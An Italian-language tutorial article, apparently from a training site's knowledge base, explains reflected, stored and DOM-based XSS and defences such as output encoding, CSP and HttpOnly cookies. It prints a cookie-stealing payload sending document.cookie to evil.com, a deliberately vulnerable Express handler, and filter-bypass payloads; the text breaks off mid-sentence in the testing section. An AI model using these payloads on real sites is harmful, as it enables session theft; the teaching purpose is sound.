Cross-Site Scripting: Perché XSS è ancora pericoloso nel 2024
Un'analisi pratica di XSS reflected, stored e DOM-based, come gli attaccanti li sfruttano e come fermarli davvero.
XSS è nella OWASP Top 10 da due decenni ed è ancora una delle prime cose che un pentester controlla. Il bug è semplice da spiegare e noioso da chiudere completamente: un attaccante fa eseguire il suo JavaScript nel browser di una vittima sotto l'origine del tuo sito. Una volta che succede, può leggere i cookie, falsificare le richieste o riscrivere la pagina davanti all'utente.
I tre tipi
Reflected XSS è il classico attacco tramite link di phishing. Una pagina di ricerca prende ?q= dall'URL e lo stampa direttamente nell'HTML senza encoding. Manda a qualcuno un link come https://shop.example/search?q=<script>fetch('https://evil.com/steal?c='+document.cookie)</script> e se lo clicca mentre è loggato, il suo cookie di sessione va all'attaccante.
Stored XSS è peggio perché non ha nemmeno bisogno di un link. Un campo commenti, una bio del profilo, una descrizione di ticket di supporto — ovunque l'input dell'utente viene salvato e poi renderizzato ad altri utenti. Posta il payload una volta e ogni visitatore che vede quella pagina viene colpito, nessuna ingegneria sociale necessaria.
DOM-based XSS vive interamente nel codice lato client. Il server non vede mai il payload malevolo; è JavaScript che legge qualcosa come location.hash o document.referrer e lo infila in innerHTML o eval(). Questo confonde la gente perché il logging lato server appare completamente pulito.
Da dove viene davvero
La maggior parte dei bug XSS si riduce a un errore: trattare i dati non fidati come markup o codice fidato. I sink comuni da controllare in JavaScript: innerHTML, outerHTML, document.write, eval, setTimeout con un argomento stringa, e .html() di jQuery. Sul lato server, i template engine che non auto-escapano di default (concatenazione di stringhe raw in HTML) sono il colpevole solito.
Un esempio veloce dal mondo reale: un'app Node/Express che fa
app.get('/greet', (req, res) => {
res.send(`<h1>Hello ${req.query.name}</h1>`);
});
ha un XSS reflected immediato. req.query.name va direttamente nella risposta senza nessun encoding. Chiunque visiti /greet?name=<img src=x onerror=alert(document.domain)> lo prova in circa due secondi.
Risolverlo davvero
L'output encoding consapevole del contesto è la vera soluzione, non un workaround. Il corpo HTML, l'attributo HTML, la stringa JavaScript e i contesti URL hanno ciascuno regole di encoding diverse — una libreria come Java Encoder di OWASP, o l'auto-escaping integrato in template engine come Jinja2, React JSX o Handlebars, lo gestisce correttamente. React in particolare fa escaping del contenuto testuale di default, per questo dangerouslySetInnerHTML è chiamato così: è un'etichetta di avvertimento.
La validazione dell'input aiuta ma non è sufficiente da sola. La denylist dei tag <script> viene bypassata costantemente — <img src=x onerror=...>, <svg onload=...>, o handler di eventi su praticamente qualunque tag funzionano tutti. L'allowlist dei formati attesi (una regex email, un ID numerico) va bene come secondo strato, ma non sostituisce il corretto output encoding.
Content-Security-Policy è il livello di defense-in-depth più forte disponibile. Una policy come
Content-Security-Policy: script-src 'self' 'nonce-r4nd0m123'; object-src 'none'; base-uri 'self';
blokka gli script inline e le sorgenti di script di terze parti a meno che non siano esplicitamente noncati o allowlistati, il che ferma la maggior parte dei payload XSS dall'esecuzione anche se scappano all'encoding. Evita unsafe-inline e unsafe-eval negli CSP di produzione; annullano la maggior parte della protezione.
Imposta i cookie con i flag HttpOnly e Secure in modo che nemmeno un XSS riuscito possa leggere il cookie di sessione direttamente tramite document.cookie. Non ferma l'injection ma limita il raggio d'azione considerevolmente.
Testarlo tu stesso
Lo scanner attivo di Burp Suite cattura un sacco di XSS reflected e stored automaticamente, ma il testing manuale conta ancora per i casi DOM-based. Tool come la test suite di DOMPurify stessa o semplicemente un grep del tuo codebase per innerHTML = e eval( faranno emergere un numero sorprendente di findings velocemente. Per una prova manuale, il payload `
Scritto con assistenza AI, revisionato e pubblicato da Michal Pilch (CISSP), Korra Studio.
Questa è una nota dalla knowledge base di Korra Studio — la piattaforma abbina ogni argomento a mentoring 1-to-1.
Inizia gratisarrow_forward